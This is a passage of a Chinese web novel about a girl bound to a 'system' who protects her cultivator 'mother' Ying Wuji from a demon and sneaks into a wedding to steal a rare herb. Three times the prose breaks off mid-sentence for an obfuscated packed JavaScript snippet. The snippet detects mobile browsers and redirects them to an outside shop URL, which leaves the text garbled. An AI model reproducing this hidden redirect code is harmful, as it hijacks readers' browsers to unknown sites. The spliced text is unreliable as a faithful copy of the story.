柳沅还是忘不了刚才看到的那一幕。破碎的衣服下露出的精壮的肌肉,瘪下去的胸口,被血和汗沾染,显得野性的喉结。 她脑子有点乱,低下头想了半天,突然想到女子也是会有喉结的。而且娘亲是修仙者,对,修仙的。 修仙的嘛,那一定经常要锻炼,那有肌肉是正常的。至于为什么看起来没有胸,哎呀,她长那么高,年纪还那么小,肯定是还没开始发育。 一定是这样,一定是这样。 她反复在心里对自己说道,硬是让自己忽略心底涌上来的那股不对劲。 突然,一股无比奇怪的能量在眼前一闪而过,柳沅的脑子猛地清醒了一瞬。 月光从窗户中透出来,一个熟悉的身影缓缓浮现。 是萤神只。 今天什么日子,怎么这些麻烦都来了。柳沅苦不堪言,连忙捂住了右手处的标记,同时暗暗往后面移动。 但萤神只似乎不是冲着她来的,压根没看她一眼,直直地冲着应无霁而去。 应无霁裸露在空气中的血肉极大地引起了它的兴趣,它绕着他飞了好几圈,最后落在地面上,发出一阵尖利的笑声:“啧啧啧,看你也挺痛苦,要不要我帮你解决啊?“ 萤神只和上次见面时不太一样了,那镜子的头颅变成了人头,虽然面部的五官依旧扭曲,但比之前更像人了。 它幻化出的脸虽然奇怪,但能看出来是女子的长相。它就这样凑在应无霁耳边,语气魅惑。 应无霁闭了闭眼,转过头去。 “呵。”它轻笑一声,“闭上眼睛也没用,你别忘了,我是什么妖啊。” 他虽然没什么表情,但放在身侧的双手都收紧了,攥成了拳头。 萤神只就那么扭曲着身体,像蛇一样缠在应无霁身上,看的柳沅太阳穴一阵一阵地跳。最关键的是,应无霁也不反抗,就那么闭着眼睛任由萤神只胡作非为。 “她在干什么?”柳沅强忍着睡意,暴躁地抓了抓头发,对系统道,“怎么又不反抗了?” 系统没回应。 柳沅越看越难受,再加上晕晕的脑袋,总感觉自己下一刻就要被炸飞了。 萤神只还在笑:“不过,要是从这里咬开你的皮肤,会喝到更多的血吧?” 说完,伸出长长的指甲,往应无霁的脖颈上轻轻一划。 下一刻,只听一声巨响,一双手飞快地抱住了应无霁的脖子,随后,萤神只感觉一道劲风袭来,下意识想用手去挡脸,结果柳沅的脚速度更快。 砰! 萤神只被她一脚踹到了墙上。趁着那妖怪没缓过神来,她拽着应无霁爬到了床边。 此时她已经神志不清了,只知道怀中尚且温热的身体是自己的任务对象,千万不能让他死了。 应无霁缓缓睁开眼睛,在柳沅紧紧箍着自己脖颈的手一路看去,停顿在她失去神韵的双眼处。 他能确定,再过一会儿她就要晕过去了。 “打不过就跑啊,就那么不动是不想要命了吗?”尽管眼前一片模糊,柳沅还是找到了应无霁的眼睛,咬牙切齿道。 此时应无霁躺在她怀中,两人几乎是脸贴着脸,呼吸间满是对方的味道。柳沅看不太清楚,还以为两人隔得很远,还往前凑了凑。应无霁皱眉,往旁边稍微错了错,这才避免了完全贴在一起的结局。 “哎,你别乱动啊,我看不见了。”柳沅嚷嚷道。 应无霁忍不住翻了个白眼,把她的头往下重重一按,柳沅刚想挣扎,就听见耳边传来他低沉的声音。 “别乱动,它醒了。” 是声音。 她愣了愣,使劲揉了揉耳朵。 “你打不过它的,呆在这里,别动。” 真的是声音。 应无霁给她传音了。 声音听起来,怪……低沉的? 她正胡思乱想,就感觉膝盖上一轻,应无霁起身了,随后听见耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050312|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边传来一声尖叫,是萤神只。 它被应无霁扼住了喉咙,奋力地呜咽着,那扭曲的面容变化着,有时是人脸,有时又是镜面。 应无霁的表情很冷漠,手背上青筋暴起,好像下一刻就要把它的脖颈掐断了。 “杀我啊,快来杀我啊!”萤神只的语气兴奋起来,“快杀我啊,你快杀我啊!” 应无霁拿着桃木枝的手迟迟不动。 “你不敢杀我,哈哈哈!”萤神只笑得张狂,聚起尖尖的指甲,对着应无霁的心口就是一抓。 血肉被刺破的声音在寂静的房间里清晰可闻,柳沅眨眨眼,感觉时间在这一刻静止了。萤神只越来越尖利的笑声,应无霁逐渐微弱的呼吸声。 不对,不行,不能这样! 她挣扎着从地上爬起来,踉跄着往视野中模糊的两个点所在的地方走。 不行,应无霁不能死。她的任务还没完成呢。 可是眼皮好重,身体也好重,已经到极限了。 她迷迷糊糊地想,又强撑着往前跨了一步,一股无法抗拒的失重感传来,她险些就那么摔倒。 快了,她望着那渐渐清晰的两道身影,咬紧了下唇。 恍惚间,她好像看见萤神只的头顶有一根红色的线,很淡,但是正在慢慢变浓。应无霁?可是应无霁的头上没有。 砰—— 她终于支撑不住,不受控制地向前倒去。与此同时,应无霁掐住萤神只的手猛地松开,控制不住地喷出一口血来,颓然地跪在了地上。 两人一前一后,正好摔在了一起。 柳沅躺在应无霁的怀中,嗅到了那股浓郁的血腥味。 “应无霁?你怎么样了?”她试探性地呼唤道。 没有声音。 萤神只这才把注意力放到柳沅身上,凑过来,直视着她失神的双眼,恶作剧道:“你问他?没看见吗?他已经死了。” “死了?还需要我再重复一遍吗?” 恶意的笑充斥着整个房间,柳沅心乱如麻,伸出手胡乱去碰应无霁的脸,只摸到了满手的血。 “不会的,你骗人!你骗人!”她无措地甩掉手中的血珠,拼命握着应无霁慢慢变得冰凉的手,语无伦次道。 不会的,系统不是绑定了应无霁吗?平时柳沅只要对应无霁稍微有点不好的想法,都会被警告,应无霁只要有一点被伤害到的可能,系统都会第一时间跳出来发出警告。 怎么可能,怎么可能就这么死了呢? 一定是在说谎。 这个妖怪,一定是在说谎。 柳沅已经不知道自己该怎么做,几乎是凭借着本能在应无霁身上触碰着,寻找着他仍活着的证明,最后,摸到了他右手握着的桃木枝。 只轻轻一拉,桃木枝便从他的掌心滑落,被柳沅拽到了手中。 她把桃木枝塞到他手中,死死握着他的手,往前重重一挥。 刺啦—— 她听见利器划开血肉的声音,然后是萤神只满足的笑。 “小姑娘,你可是帮了大忙呢。”它狞笑着,声音越来越低,到最后,四周完全陷入寂静。 柳沅手中的桃木枝突然动了动。 一股大力带着她的手往后一缩,柳沅被迫向上抬起身体,眉心被冰凉的手指触碰,一股强劲的力量涌入身体。 模糊的景象突然变清晰。 映入眼帘的是应无霁冷若冰霜的脸,沾着血迹的唇,还有那双狭长的眼睛。他就那样抬着她的手,吸收着萤神只的能量。 它的身体迅速瘪下,体内的能量化作耀眼的光斑,疯狂向应无霁的手中涌去。奇怪的是,萤神只的脸上并无痛苦,而是带着很深的恶意,倒是应无霁很是反常。 他死死咬着下唇,神情痛苦,眼神是从所未有的寒凉,似乎被吸收能量的不是萤神只,而是他。能量的迅速涌入让遍布在他身体上的伤口快速恢复,他仿若死人的脸色也在变得红润。 在短暂的震惊之后,柳沅眨了眨眼睛,突然意识到一个事实。 应无霁可以通过吸收这些怪物的能量疗伤。 又过了一会儿,当房间完全暗下来,萤神只也消失在空气中,柳沅感觉手一松。 她的身体又落回了应无霁的怀中。 同时,应无霁颓然地塌下肩膀,一动不动地盯着地面,身体僵硬的不像话。 她小心翼翼地从他的怀中退出来,轻声道:“刚才的能量……能治你的伤吧?” 应无霁点头。 “那为什么不用呢?” 这句话他没有回应,只是维持着同一个动作,身形快融入夜色中。 如果应无霁能通过吸收这些怪物的能量疗伤,那么柳沅就不必潜入方府去偷那压根没有任何线索的药材了。而且,据她来看,这些怪物似乎都对应无霁的身体很感兴趣,如果他吸收这些能量的话,不仅能疗伤,甚至可能修为大增。 到时候就算男主和反派都来了,也不见得打得过加强版的她。 37. 血与暗(7) 所以最保险的办法就是让应无霁迅速吸收能量疗伤,然后柳沅就可以无牵无挂地寻找男主,最后任务就能顺利完成了。 她的想法很美好,但现实往往没那么容易如愿。 应无霁对她的提议表现出了明显的抗拒。 “为什么?那些怪物都是害人的东西,就算你不去伤害它们,它们也会一直缠着你,还不如吸收掉它们的能量,治你的伤。”柳沅苦口婆心地劝说道。 应无霁冷着脸,转过头一言不发。 她不免有些生气,拖着疲惫不堪的身体,在他面前蹲下。 “你每天晚上都会被它们袭击吧?”柳沅问道。其实她并不确定应无霁是不是每天晚上都会被这群怪物缠着,这样问出来也是试探为主,没想到应无霁点了点头。 她在心里震惊了一下,紧接着而来的是喜悦。 如果那群怪物每天都来,那只要应无霁愿意吸收它们的能量,那伤不就能马上治好了? 柳沅眼珠一转,继续道:“你真的就没想过彻底消灭这群伤害你的妖怪吗?” “它们都要吃你了,你不应该报复回去吗?不是有句话叫做恶有恶报吗?其实你不用太纠结吸收怪物有什么不对,它们既然做了错事,那就应该受到惩罚,你吸收掉它们其实算是正义举动。” 柳沅说这番话之前,仔细思考了应无霁排斥吸收怪物的原因,结合系统给出的娘亲性格和过往经历,推测她可能是傻白甜的性格使然,认为这种方式太残忍,不愿意接受。 但按照古早小说里的套路,傻白甜女主是可以被说服的,只要柳沅掌握好沟通的技巧,一定可以说服她的。 但是现实狠狠地给她上了一课。 应无霁不仅没有被她说服,还被她的话刺激了,狠狠推了她一把。柳沅毫无防备地摔倒在地,脸上还残留着愕然的表情,头顶又是一痛。 应无霁拿着桃木枝狠狠锤了她一下。 那股被她忘却的困意趁此机会卷土重来,带着无法抵抗的架势,将她狠狠拖入了黑暗。视野完全陷入黑暗之前,她好像看见应无霁站了起来,居高临下地俯视着她,眼神陌生又疏离。 被莫名奇妙锤了一下的愤怒还没来得及涌上心头,她就昏昏沉沉地睡了过去。 “哎,你没睡好吗?怎么看起来这么没精神?”方府门前,贺听舟望着一脸黑云密布的柳沅,好奇问道。 柳沅腰酸背痛,仿若行尸走肉缓慢地移动到她身边,有气无力地和她打了个招呼。 “待会只要紧跟着我,我们从侧门绕进去,如果能跟在迎亲队伍后面,说不定还能捡到金子。我和你说,这方家老爷虽然是出了名的横行霸道,但为人还是十分大方的,女儿今日出嫁,他还真撒金子呢。只要随随便便捡到一点就发财了。”贺听舟凑到她耳边,小声道。 柳沅敷衍地笑笑。 “你昨晚到底干了什么,娘亲的好感度怎么会下降到30点?”系统问道。 柳沅冷笑一声,讽刺道:“这你应该去问应无霁,问问她心里想什么呢。” 今早柳沅是被冻醒的,起来时发现自己躺在院子的树下,落了满身的枯树叶。她明明记得自己昨天是在应无霁的房间晕过去的,怎么一觉醒来会在外面? 这房子里除了她之外,只剩下应无霁。 所以就是应无霁生气了,把她从房间里扔了出来。 呵呵,柳沅裹紧单薄的衣服,哆嗦着走到应无霁紧闭的房门前,大声道:“你就生气吧!随便你,我能先理你我是狗!” 然后应无霁一早上都没出来,柳沅心里憋着气,也没吃早饭,就往方府这边来了。 “她是娘亲嘛,你任务对象嘛,你多让让她。”系统道。 闻言,柳沅心里的火气又被拨动了,阴阳怪气道:“我让让她?那谁来让让我?我和她讲的很清楚了,我说吸收妖怪能量是最好的做法,可她不仅不愿意,还任由那群恶心的怪物伤害自己。” “我劝她难道是要害她吗?我还不是为了她好?不然我闲着非要在她眼前找不痛快?” 说着说着,柳沅气的脸色涨红,胸膛不住地起伏着,差点没喘过气来。 见状,系统叹了一口气,没说话了。柳沅觉得这样干生气特没意思,冷着一张脸也不说话了。 贺听舟见她兴致不佳,拉着她走到人群中,疑惑道:“不过你今天是一个人来的,你姐姐呢,我还以为她会一起来呢。” 闻言,柳沅哈的冷笑一声:“她怎么会来?” “她为什么不会来?”贺听舟更加迷惑了。 柳沅没回她,敷衍地指了指人群,机械道:“新娘子要来了。” 只听敲锣打鼓的声音,还有热闹喧闹声,街边站满了凑热闹的人,红红的花轿缓缓而来,最前面走着一个骑着高头大马的男子,仔细看去,他面色浮肿,眼底泛黑,典型的一股肾虚样。虽然穿着一身喜庆的红衣,看上去依旧十分埋汰。 贺听舟看了几眼,又凑到柳沅耳边,悄声道:“我听说这新郎是个不成器的没落贵族,名号听起来风光,实际家里的钱全给他败光了。攀上了方家大小姐这棵大树不说,还到处拈花惹草,还把身体搞坏了。据说这次方家小姐的嫁妆里还特意放了甘月草,就是为了给这位新姑爷养身体。” “甘月草是很罕见的药材,几乎能治愈一切伤病。”系统补充道。 柳沅望着那坐在马上快要掉下来的新郎,若有所思。 这姑爷是入赘的,抬着花轿只是过来走个形式,真正的成亲仪式还是会在方府办,看眼下这样子,方府这边似乎有点故意晾着这姑爷的样子,来来回回走出好几个小厮,都让这姑爷等等。 这姑爷也有吃软饭的自觉,呆呆地从马背上下来,就那么乖乖等着。 贺听舟被人挤的烦得要死,拉着柳沅的手就要往府里闯,吓得柳沅往反方向跑,边跑边说:“我们不是来混饭吃的吗?这么明目张胆地闯进去真的不会被赶出来吗?” “哎呀,你看看这是什么?”贺听舟把她大力一拽,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061178|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手从口袋里掏出两张请柬,在她眼前晃了晃。 “上次和我一起来的那个人,呃,没时间,我就顺便把他的请柬拿来了,有这东西,我们一定进的去。”贺听舟得意地拉着柳沅,趾高气昂地拿出请柬,在门前守着的小厮面前晃了晃,竟然真的顺利进来了。 柳沅朝她投去一个敬佩的眼神,就开始盘算怎么能不着痕迹地找到嫁妆放的位置,偷偷侦察一番。 恰在此时,贺听舟把她往花园的方向拉,一边走一边念叨道:“我们先去藤萝院送个东西,方老爷非找咱们入梦人要符咒,说去去病气,还必须送到大小姐房间,让她亲自贴上。” 柳沅一边听一边观察着方府的布局,记下了一路而来的路线。 “也正好可以去凑凑热闹,据说方大小姐很大方,说不定会给我们点金子啥的,她的嫁妆就摆在院子里呢,我只要稍微暗示一下,她一定不会不给的。”贺听舟继续碎碎念。 “等等,你说嫁妆就在院子里?”柳沅捕捉到了重要信息,忙问道。 “对啊,”贺听舟捋了一下飘到额头前的碎发,说道:“那甘月草大小姐亲自守着的,说是上花轿了还要握着。” “那死鬼命真好,人品败坏成这样,偏偏被大小姐看中了。” 闻言,柳沅低下头,脑袋飞快转动着,思考如何能趁众人不注意混入花轿,抢走甘月草。 “系统,你那千里传送符还有吗?”她问。 系统回答道:“有是有,但不能白给你呀。” 它的语气很欠揍,柳沅碍于任务要求,忍着不适道:“什么条件?” 系统娇羞地笑了一声,机械音变的异常甜美:“这是下一阶段任务的奖励,宿主可以猜猜是什么?” 还能是什么?柳沅用脚都能想到肯定和应无霁有关,十有八九就是那个专门恶心她的升级任务。 “只要宿主你答应将任务再升级,我就把奖励预支给你。”系统道。 不就是升级任务吗?顶多就是和应无霁有些肢体接触,顶多就是需要她去哄哄他,这比起完不成任务被雷劈,简直是婴儿级别的难度。 “成交。”她爽快地答应了。 不知道为什么,系统笑得有点猥琐,说完任务奖励已发送后,就消失了。她皱了皱眉,忽略那种奇怪的不适感,继续观察着四周。 藤萝院很快就到了,院如其名,院子内外架起了很多花架,上面爬满了枯枝,若是春天,一定开满了紫藤萝,会像仙境一样。 贺听舟拉着柳沅穿过层层叠叠的花架,绕进院中,首先映入眼帘的就是堆成小高山的箱子,有的箱子的盖子大开着,露出里面堆着的金银财宝和各色绫罗绸缎。 贺听舟停下,向柳沅打了个手势,示意自己要先进去送个东西。柳沅点头,站在原地目送着她掀起帘子,看见了一闪而过的,方家大小姐的脸。 还有站在她身后的那个丫鬟。 柳沅眼尖,一下就发现了不对劲。 这个丫鬟的肚子…… 38. 血与暗(8) 她不敢确认心中的猜测,但又实在好奇,于是偷偷凑到门边,从帘子的缝隙中往里看。 方小姐还未换上嫁衣,头发也散着,漂亮的脸上挂着淡淡的笑。贺听舟朝她行了一礼,她低下头回礼。 “我是来送符咒的,小姐您只要把它握在手心里,一路都不松开就可以了。”贺听舟柔声道。 方小姐侧过身体,让春儿给贺听舟倒茶。 “不用的,小姐您客气了,我只是来送个符,送完我就走。”贺听舟忙推辞道。 “麻烦仙人您特意来送符了,其实这些事交给底下的人办就可以了,您还亲自来走一趟,真让小女受宠若惊。”方小姐笑道。 说完,春儿已经把茶水倒好了,递到贺听舟手边。 她笑笑,接过茶水,却一不小心没拿稳,哗啦一下全泼了出来,正好全倒在春儿的肚子上。 那一瞬间,柳沅清清楚楚地看见了春儿肚子蠕动了一下,随后,方小姐迅速起身,将春儿挡在了身后。 贺听舟愣了愣,揉揉眼睛,似乎不敢相信刚才看到的那一幕。 方大小姐的脸色有些阴沉,笑容也有点勉强:“吉时快到了,我还没有梳妆,可能要请您先回避一下。” “您特意来给我送符,实在是辛苦了,这是我的一点小小心意,您别嫌弃。” 说着,她从旁边的桌子上随便抓了一把金子,一股脑塞到贺听舟怀里。贺听舟原本想着只是来碰碰运气,谁料竟然真捞到了金子。 她脸上的笑憋都憋不住,忙护住怀中的金子,一个劲地朝方大小姐道谢。 “不用这么客气,只是我真的需要梳妆了,您看……”大小姐露出一脸为难的表情,贺听舟了然,忙答应一声,急匆匆就往外走。 她错开身体的那一瞬间,柳沅瞟到了放在梳妆台上的甘月草。随后,她悄悄往后退,同时注意到春儿神情呆滞,死死地捂着肚子。 她刚回到原位,收拾好表情,贺听舟便掀开帘子出来了。 柳沅往后大退一步,装作四处张望的样子,冲着贺听舟笑了笑。 贺听舟悄悄把手背到身后,将金子全倒进了随身携带的小包中,趁着柳沅不注意,把包藏在了腰间。 柳沅装作什么都不知道的样子,笑道:“走吧,咱们接下来去哪?” 贺听舟没说话,只是扶着下巴,若有所思地看了一眼院中的陈设,小声嘟囔道:“可真是奇怪。” 闻言,柳沅忙问:“怎么就奇怪了?你进去没从大小姐那里要到赏赐?” “不是,”她摇摇头,“我刚才看见……我不确定是不是我看错了,算了。” 虽然贺听舟没说,但柳沅看见了是春儿。 春儿的肚子有问题。 只是,柳沅回忆起那天贺听舟的话,如果传闻是真的,那便是方大小姐有了喜,妒心重。可现在看来,倒像是春儿有了喜,而且这两人行为间遮遮掩掩的,很让人好奇到底发生了什么。 “好心提醒一下宿主,又快过去一天了,记得完成任务哦。”系统突然蹦出来道。 它的语气轻飘飘的,听起来莫名的嘲讽。柳沅不爽地翻了个白眼,没好气道:“知道了知道了,不知道的人还以为应无霁是你什么人呢,你这么着急给她治伤呢。” 系统听出了她话里的阴阳怪气,又想到她正在和应无霁冷战,不由得打趣道:“这话也不能这么说啊,毕竟她是你的娘亲,最在乎她的人其实应该是你。” 柳沅本就在为应无霁昨天对自己的态度生气,闻言冷笑一声:“你让应无霁当着我的面说这句话我都不会信。你还是别说话了,免得我实在忍不住,拿着这药草给应无霁下毒,我们谁都别想好过。” 系统讪讪地笑了几声,就不说话了。柳沅又问贺听舟接下来该去哪,贺听舟说自己还要去给其余的人送什么符,要柳沅呆在原地等自己就够了。 “方府挺大的,今天办喜事,人多起来很容易出乱子,你对这边不熟,就先呆在原地吧,我可能需要一会儿,等我的事情办完了就来找你一起吃席。”贺听舟说的有点急,边说边从衣服的口袋里掏东西。 柳沅眼珠一转,笑道:“那你快去吧,我就呆在这里等你。” 贺听舟把怀中的符咒都拿出来,数了数,头也不抬地往外走,一边走一边强调道:“我马上就回来,你千万别乱跑啊。” “哎呀,咱们都认识那么久了,我什么人你不知道啊,我肯定不会乱跑的。”柳沅信誓旦旦地拍着胸脯保证道。 贺听舟抬起头,眯了眯眼睛,怀疑地看了她一眼,随后放心地笑了:“咱们谁跟谁啊,我信你。不过方大小姐的性格有些古怪,你最好就站在外面,千万别进去招惹她。” “嗯嗯。”柳沅坚定地点头。于是贺听舟放心地走了。院子里陡然安静下来,柳沅抬头看了一眼天色,发现快到正午了。今天天气不错,暖暖的阳光穿透云层,把院子照的透亮透亮的,冲淡了秋日带来的寂寥之感。 花架上的枯枝晒在阳光下,像蒙了一层透亮的金粉,她不由自主想到了院子里那棵粗壮的梧桐树。 应无霁似乎很喜欢坐在树下,她好几次清晨起床打开窗户都能看见他坐在那里的背影。 不对。她愣了愣,把这突然出现的想法甩出脑海,不知怎么的,有点生气。她把这一切都归结于应无霁昨天晚上的举动,在心里偷偷骂了他几句,又提心吊胆地等了一会,没等来系统的警告提示,这才放下心来。 挂在门边的帘子动了动,柳沅抬头,发现是春儿。 她看见外面有个陌生面孔,先是愣了愣,随后露出一个僵硬的笑容。 “哦,我不太熟悉府中的路,不小心走错了,想着在这里等等我的同伴,没有打搅到你吧?”柳沅小声解释道。 春儿慢慢走过来,摇摇头,笑道:“没事的,我可以给您带路,您看看要去哪?” 柳沅暗自观察着她的动作和举止,笑着道:“今日府中有喜事,我应当是要去大堂的。劳烦姑娘了。” 春儿微笑着,朝她微微欠了欠身,然后就走到柳沅面前,要引着她往外走。 哐当—— 只听一声巨响,门前的帘子被飞速掀开,方大小姐着红妆的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069682|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子出现。 她脸上带着慌张,直到看见春儿安然无恙地站在院子里才放松下来。 “怎么了?”她问道。 春儿还是那副僵硬的表情,低声道:“刚才有个姑娘迷路了,我要给她带路,但是她突然从院子里翻出去了。” 闻言,方大小姐四处看了看,果然发现东边的墙角有翻动的痕迹。她别过脸,阴沉的眼神一寸一寸地扫过春儿的脸,随后突然柔声道:“旁人的事情不要多管,你只需要呆在我身边就够了。” 春儿僵硬地点点头,在方大小姐紧密的注视下慢慢走到门边,掀开帘子低头回了房间。 两人立在铜镜前,方大小姐望着铜镜中春儿的脸,突然咧开嘴笑了。 “在想什么?” 这突如其来的问题让春儿有点懵,她眨了眨干涩的眼睛,沉默不语。 “让你说话总是说些我不爱听的,不让你说话又什么都不说。”方大小姐戴上精致沉重的黄金头面,捋了捋上面缠着的流苏,轻轻地笑了。 刻意压低的声音在空旷的房间里环绕,春儿依旧面无表情。 “他马上就要来了,你高兴吗?”她伸出食指,蘸了蘸开着的胭脂盒,往颊边一点,又转过身,朝春儿招招手。 春儿僵硬着身体弯下腰。两人之间的距离很近,方大小姐望着她的眼睛,笑了,瞳孔里满是春儿的影子。 那沾着红色的食指停留在春儿的颊边,在那白皙的皮肤上留下了一点刻意的红色。 “那些道士都是些没用的东西,就只有前几天来的那个有点意思。可惜他要坏我的事,我偏偏不能留他。我知道你喜欢修仙,也一定会喜欢他,可是,我们之间的事被他知道了呀,你也不想被所有人知道我们到底发生了什么吧?” 方大小姐满怀情意地抚上春儿的脸颊,笑得露出颊边的两个小酒窝。 “所以他必须死。” 她的眼神猛然变化,转过身去。铜镜中照出一个娇媚艳丽的新娘子,笑意盈盈,浑身洋溢着对未来的期待。 春儿转过身,双手绕过那放在桌面上的甘月草,拿起那绣着鸳鸯的红色盖头,盖在了方大小姐的头上。 随后,她的手被攥住,方大小姐扶着她站了起来。 阳光从开着的窗户中透进来,正好落在二人之间,照的那嫁衣越发火红似血。方大小姐死死地拽着春儿,往外走去。 而此时,贺听舟抱着满怀的礼品,找遍了整个藤萝院周边都没看见柳沅。正巧方大小姐从院中出来,她眼睛一亮,忙凑上去问道:“您有没有看见这院中站着一个十六左右的姑娘?那是我朋友,我特意让她在这边等着的。” 方大小姐摇摇头,插在发间的首饰发出碰撞的轻响。 “许是年纪小贪玩,去了别处。马上喜宴要开始了,仙人何不随我一同去往大厅?说不定您的朋友会在那里。” 贺听舟一听也对,于是跟在春儿身后,同时嘟囔道:“这个柳沅,还说自己不会乱跑,现在连个人影都找不到,真是不靠谱。” “亏我还想着把这些赏赐分她一点呢。” 39. 血与暗(9) 话音刚落,贺听舟就觉得自己的裙子被拽了一下,抬头一看,发现是春儿。 正诧异呢,突然看见春儿的手悄悄凑到旁边,给她比了个手势。 贺听舟瞳孔一震,一个踉跄差点撞到前面的方大小姐。 “怎么了?”方大小姐轻声问道。 “……没事。”贺听舟结巴了一下,不知道在忙什么,最后欲盖弥彰地撩了一下头发,咳嗽了一声。 三人就这样慢慢走到了大厅。在满园的宾客喧闹声和花香中,方大小姐总算离开了春儿身旁,在方老爷的带领下向各位长辈问好敬酒。 方大小姐前脚刚走,贺听舟就挤了过来,迎面第一句就道:“你胆子真大,竟敢冒充春儿!” 一直面无表情的春儿突然露出一抹得意的笑,发出不属于她的清亮声音:“哎,这不是形式所迫吗?要是有别的办法我也不会出此下策了。” 贺听舟刚想问问啥形势所迫,就听见远处传来嘈杂的喜乐声,伴随着喝彩声。应该是那等在门口的姑爷进来了。她喜欢凑热闹,一下就把柳沅假扮春儿的事情抛到脑后,挤进人群里开始看热闹。柳沅攥紧了衣服里包着的甘月草,又在脑海里和系统确认了下千里传送符的启用方法,随后紧紧注视着缓缓而来的花轿,默默地朝着那方向移动。 一般的婚礼流程都是贴身丫鬟把新娘子送入花轿,然后站在旁边一起跟着游街,最后走到男方家下轿。方府这场婚礼不同,是男方来接女方,在街上游行一周后再回到方府,而出来之前,方大小姐特意叮嘱了柳沅,自己会和她一同坐在轿中。 方大小姐盯着她的视线实在是太紧,她根本无法趁乱混出去。唯一的逃脱办法就是和大小姐一起进入花轿。 柳沅已经想好了,自己进入轿子后第一时间打晕新娘,然后带着甘月草用千里传送符逃走。 她正仔细和系统验证计划有没有什么漏洞,突然感觉人群中传来一道熟悉的视线。她猛然抬头,四处张望,只在靠近轿子的角落处看见一片蓝色的衣角。 一晃而过,速度奇快。 “不会应无霁也来凑热闹了吧?”她开玩笑似地对系统道。 系统调侃道:“不是说不谈娘亲吗?这回可是你自己提的。” 柳沅没理它,又往刚才看到衣角的方向看了看,没看到什么,又打算离花轿近一点。就在这时,肩膀处突然传来一股大力。 柳沅吃痛,眉毛一皱就回头望,发现是动手的人是方大小姐。她忙收起脸上的表情,装作一副淡淡的样子,十分恭敬地低下头。 方大小姐抓着柳沅肩膀的五指深深地陷入了衣料里,声音里带着很浓重的警告:“别乱跑。” 柳沅被抓的有点疼,但是不敢有很大的动作,只能顺着方大小姐的动作,几乎是被拽着往花轿处走。 此时,原本站在花轿处的一个喜婆突然拦住了二人,方大小姐不满地抬起头,刚要呵斥,就听见喜婆说道:“甘月草,您不是说过一定要拿着甘月草入轿吗?” 这喜婆也是体格健壮,柳沅站在她面前,只堪堪够到她的肩膀。而且细看她穿的衣服挺不合身,紧紧的,显得有些局促。 这么大的一个人杵在面前,还是有点压迫感的。方大小姐有些不悦,但还是松开了手,唤柳沅去藤萝院中取。 喜婆看了柳沅一眼,似乎是在催促她赶快去。 柳沅可乐坏了,这不就有机会既不用千里传送符,又不用打晕方大小姐,就能把这甘月草偷偷拿走了? 她在心里窃笑,几乎是迫不及待地就要转身回去。只不过,她走的时候,感觉背后有点凉。 柳沅回头一看,正好和喜婆的目光对上了。 她没来的及琢磨那眼神的意思,方大小姐不满的目光就追了上来。虽然被厚厚喜帕盖住了脸,但柳沅依旧能感受到她的不满。 两个神人。她吐槽了一句,提着裙子飞快地往藤萝院的方向跑。 这下计划就要变动了,她只要回去悄悄把春儿换回来,就能逃之夭夭了。那样就不需要千里传送符了,也不需要做那个什么升级任务了。柳沅脸上带着笑,一路狂奔,终于到了藤萝院。 然后她来到了枯枝缠绕的藤萝花架前,双手掐诀,一道白色的流光从她掌心逸出。 可幻术解开后,墙后空无一人。 柳沅傻眼了,不甘心地围着院子找了一整圈,都没发现人影。 不对,她猛然望向大厅的方向。春儿不在这里,那便说明…… 一种强烈的不安感席卷了她的全身,柳沅提起裙子就要逃走,就在这时,大厅的方向传来一阵躁动,有人大喊了一声妖怪,随后是震天响的尖叫声。 刚才一直被方大小姐盯着,她根本找不到逃脱的机会,现在方府大乱,正是她趁乱跑出去的最佳机会!柳沅解除易容术的效果,架起轻功就往屋顶上飞。飞了一会儿,她便来到了大厅,看见浑身僵硬的春儿正被新姑爷搂在怀中,姑爷手里还拿着一把沾血的剑。 一切都乱了套,女眷们尖叫着,男客们瑟瑟发抖地躲在角落中,偌大的院中只剩下新姑爷挟持着春儿,还有站在他们对面,一动不动的方大小姐。 就在这时,柳沅眼尖地发现原本塞满人的门口突然散开了,她心中一喜,架起轻功就要往外跑。就在这时,身后猛地传来一股推力,柳沅蓦然回头,看见了一张艳丽至极的脸,正是刚才站在地面的方大小姐。 “你!“她只来得及说出一个字,就开始急速向下坠落。 方大小姐的面容有些扭曲,望向柳沅的眼神里全是怨毒。 “就是你坏了我的事,去死吧!” 柳沅这才惊觉身体里的灵力被封住了,完全无法提起力气阻止下落。她站的屋顶离地面挺高的,要是这样毫无防备地摔下去,肯定要半身不遂了。 更让她吃惊的,是方大小姐站在屋顶上,那底下的新娘是谁? “警告,警告,娘亲遇险,请宿主立即保护娘亲!” 